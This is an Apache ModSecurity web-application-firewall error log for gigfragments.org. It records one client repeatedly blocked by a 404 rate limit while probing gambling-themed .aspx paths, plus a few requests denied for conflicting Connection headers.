[Sat May 23 15:35:51.233650 2026] [:error] [pid 31039:tid 31045] [client 65.108.125.120:48924] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ahFY16IYDYo8WvA5zLILagAAAMQ"]
[Sat May 23 15:35:53.252047 2026] [:error] [pid 25876:tid 25878] [client 65.108.125.120:48936] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ahFY2QSpWUCKPezIBJBk5QAAAQA"]
[Sat May 23 15:35:55.243146 2026] [:error] [pid 25876:tid 25888] [client 65.108.125.120:48940] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ahFY2wSpWUCKPezIBJBk8QAAAQo"]
[Sat May 23 15:35:57.133311 2026] [:error] [pid 31039:tid 31055] [client 65.108.125.120:48946] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ahFY3aIYDYo8WvA5zLILfAAAAM4"]
[Sat May 23 15:35:59.149369 2026] [:error] [pid 30942:tid 31022] [client 65.108.125.120:38210] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahFY39Uosz64YFiBlG1DAAAAAJM"]
[Sat May 23 15:36:01.155680 2026] [:error] [pid 31039:tid 31056] [client 65.108.125.120:38222] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ahFY4aIYDYo8WvA5zLILjgAAAM8"]
[Sat May 23 15:36:03.155310 2026] [:error] [pid 31039:tid 31065] [client 65.108.125.120:38232] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ahFY46IYDYo8WvA5zLILmwAAANg"]
[Sat May 23 15:36:05.131512 2026] [:error] [pid 25876:tid 25880] [client 65.108.125.120:38234] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ahFY5QSpWUCKPezIBJBlEgAAAQI"]
[Sat May 23 15:36:06.991355 2026] [:error] [pid 30940:tid 30954] [client 65.108.125.120:38250] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ahFY5pqUP2XZmzp7RDriDQAAAAU"]
[Sat May 23 15:36:08.998110 2026] [:error] [pid 25876:tid 25887] [client 65.108.125.120:39532] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ahFY6ASpWUCKPezIBJBlFwAAAQk"]
[Sat May 23 15:36:10.971411 2026] [:error] [pid 30942:tid 31016] [client 65.108.125.120:39538] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ahFY6tUosz64YFiBlG1DCgAAAI0"]
[Sat May 23 15:36:12.812719 2026] [:error] [pid 30941:tid 30978] [client 65.108.125.120:39544] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ahFY7HTIgjSDhiZmvlWQmQAAAEI"]
[Sat May 23 15:36:14.825851 2026] [:error] [pid 31039:tid 31058] [client 65.108.125.120:39548] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ahFY7qIYDYo8WvA5zLILswAAANE"]
[Sat May 23 15:36:16.813988 2026] [:error] [pid 30942:tid 31021] [client 65.108.125.120:39556] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ahFY8NUosz64YFiBlG1DEgAAAJI"]
[Sat May 23 15:36:18.814928 2026] [:error] [pid 30942:tid 31020] [client 65.108.125.120:61148] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ahFY8tUosz64YFiBlG1DGgAAAJE"]
[Sat May 23 15:36:20.822500 2026] [:error] [pid 30941:tid 30990] [client 65.108.125.120:61162] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ahFY9HTIgjSDhiZmvlWQrQAAAE4"]
[Sat May 23 15:36:22.826163 2026] [:error] [pid 30941:tid 30991] [client 65.108.125.120:61176] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ahFY9nTIgjSDhiZmvlWQsgAAAE8"]
[Sat May 23 15:36:24.650019 2026] [:error] [pid 31039:tid 31063] [client 65.108.125.120:61180] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ahFY-KIYDYo8WvA5zLILtgAAANY"]
[Sat May 23 15:36:26.653639 2026] [:error] [pid 31039:tid 31043] [client 65.108.125.120:61188] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ahFY-qIYDYo8WvA5zLILuwAAAMI"]
[Sat May 23 15:36:28.675092 2026] [:error] [pid 30941:tid 30997] [client 65.108.125.120:38584] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ahFY_HTIgjSDhiZmvlWQwgAAAFU"]
[Sat May 23 15:36:30.675018 2026] [:error] [pid 30940:tid 30958] [client 65.108.125.120:38594] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ahFY_pqUP2XZmzp7RDriJwAAAAk"]
[Sat May 23 15:36:32.665588 2026] [:error] [pid 25876:tid 25885] [client 65.108.125.120:38596] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ahFZAASpWUCKPezIBJBlMgAAAQc"]
[Sat May 23 15:37:16.991047 2026] [:error] [pid 31039:tid 31044] [client 65.108.125.120:65244] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ahFZLKIYDYo8WvA5zLIMEAAAAMM"]
[Sat May 23 15:37:18.819532 2026] [:error] [pid 30942:tid 31003] [client 65.108.125.120:54334] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ahFZLtUosz64YFiBlG1DZAAAAIA"]
[Sat May 23 15:37:20.826884 2026] [:error] [pid 31039:tid 31058] [client 65.108.125.120:54346] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ahFZMKIYDYo8WvA5zLIMEgAAANE"]
[Sat May 23 15:37:22.800890 2026] [:error] [pid 30942:tid 31026] [client 65.108.125.120:54356] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ahFZMtUosz64YFiBlG1DZQAAAJc"]
[Sat May 23 15:37:24.817790 2026] [:error] [pid 30940:tid 30955] [client 65.108.125.120:54372] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ahFZNJqUP2XZmzp7RDriXQAAAAY"]
[Sat May 23 15:37:26.824131 2026] [:error] [pid 31039:tid 31058] [client 65.108.125.120:54378] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ahFZNqIYDYo8WvA5zLIMGQAAANE"]
[Sat May 23 15:37:28.808580 2026] [:error] [pid 30940:tid 30971] [client 65.108.125.120:62788] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ahFZOJqUP2XZmzp7RDriYQAAABY"]
[Sat May 23 15:37:30.804878 2026] [:error] [pid 31039:tid 31061] [client 65.108.125.120:62798] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ahFZOqIYDYo8WvA5zLIMIwAAANQ"]
[Sat May 23 15:37:32.786443 2026] [:error] [pid 31039:tid 31045] [client 65.108.125.120:62802] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ahFZPKIYDYo8WvA5zLIMKAAAAMQ"]
[Sat May 23 15:37:34.766851 2026] [:error] [pid 30942:tid 31015] [client 65.108.125.120:62810] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ahFZPtUosz64YFiBlG1DbAAAAIw"]
[Sat May 23 15:37:36.748144 2026] [:error] [pid 30942:tid 31027] [client 65.108.125.120:62826] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ahFZQNUosz64YFiBlG1DbwAAAJg"]
[Sat May 23 15:37:38.739977 2026] [:error] [pid 31039:tid 31041] [client 65.108.125.120:45322] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ahFZQqIYDYo8WvA5zLIMMgAAAMA"]
[Sat May 23 15:37:40.720517 2026] [:error] [pid 25876:tid 25889] [client 65.108.125.120:45346] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ahFZRASpWUCKPezIBJBlzgAAAQs"]
[Sat May 23 15:37:42.591048 2026] [:error] [pid 30941:tid 30995] [client 65.108.125.120:45364] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahFZRnTIgjSDhiZmvlWRDgAAAFM"]
[Sat May 23 15:37:44.692598 2026] [:error] [pid 25876:tid 25893] [client 65.108.125.120:45378] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ahFZSASpWUCKPezIBJBl-AAAAQ8"]
[Sat May 23 15:37:46.711171 2026] [:error] [pid 30942:tid 31021] [client 65.108.125.120:45392] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ahFZStUosz64YFiBlG1DfQAAAJI"]
[Sat May 23 15:37:48.699030 2026] [:error] [pid 31039:tid 31051] [client 65.108.125.120:58946] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ahFZTKIYDYo8WvA5zLIMQgAAAMo"]
[Sat May 23 15:37:50.776172 2026] [:error] [pid 30940:tid 30965] [client 65.108.125.120:58962] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ahFZTpqUP2XZmzp7RDrikwAAABA"]
[Sat May 23 15:37:52.766917 2026] [:error] [pid 30942:tid 31013] [client 65.108.125.120:58964] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahFZUNUosz64YFiBlG1DiwAAAIo"]
[Sat May 23 15:37:54.815084 2026] [:error] [pid 25876:tid 25887] [client 65.108.125.120:58978] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ahFZUgSpWUCKPezIBJBmFwAAAQk"]
[Sat May 23 15:37:56.831333 2026] [:error] [pid 30942:tid 31009] [client 65.108.125.120:58988] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ahFZVNUosz64YFiBlG1DjwAAAIY"]
[Sat May 23 15:37:58.837840 2026] [:error] [pid 30941:tid 30982] [client 65.108.125.120:18226] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahFZVnTIgjSDhiZmvlWRGgAAAEY"]
[Sat May 23 15:38:00.832865 2026] [:error] [pid 30940:tid 30961] [client 65.108.125.120:18242] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahFZWJqUP2XZmzp7RDrimAAAAAw"]
[Sat May 23 15:38:02.699506 2026] [:error] [pid 25876:tid 25891] [client 65.108.125.120:18246] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ahFZWgSpWUCKPezIBJBmHQAAAQ0"]
[Sat May 23 15:38:04.697511 2026] [:error] [pid 31039:tid 31043] [client 65.108.125.120:18248] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ahFZXKIYDYo8WvA5zLIMWAAAAMI"]
[Sat May 23 15:38:06.706317 2026] [:error] [pid 30941:tid 30998] [client 65.108.125.120:18264] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ahFZXnTIgjSDhiZmvlWRNAAAAFY"]
[Sat May 23 15:38:08.701898 2026] [:error] [pid 30942:tid 31015] [client 65.108.125.120:47216] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ahFZYNUosz64YFiBlG1DqgAAAIw"]
[Sat May 23 15:38:10.858669 2026] [:error] [pid 31039:tid 31054] [client 65.108.125.120:47224] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ahFZYqIYDYo8WvA5zLIMYwAAAM0"]
[Sat May 23 15:38:12.848122 2026] [:error] [pid 31039:tid 31049] [client 65.108.125.120:47228] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ahFZZKIYDYo8WvA5zLIMbAAAAMg"]
[Sat May 23 16:47:20.674433 2026] [:error] [pid 30942:tid 31022] [client 43.155.140.157:59942] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahFpmNUosz64YFiBlG1YhwAAAJM"]
[Sat May 23 17:47:34.784795 2026] [:error] [pid 30941:tid 30996] [client 43.157.46.118:51574] [client 43.157.46.118] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahF3tnTIgjSDhiZmvlW2PwAAAFQ"]
[Sat May 23 21:41:35.443026 2026] [:error] [pid 30941:tid 30977] [client 101.32.208.70:43086] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahGuj3TIgjSDhiZmvlUAHAAAAEE"]
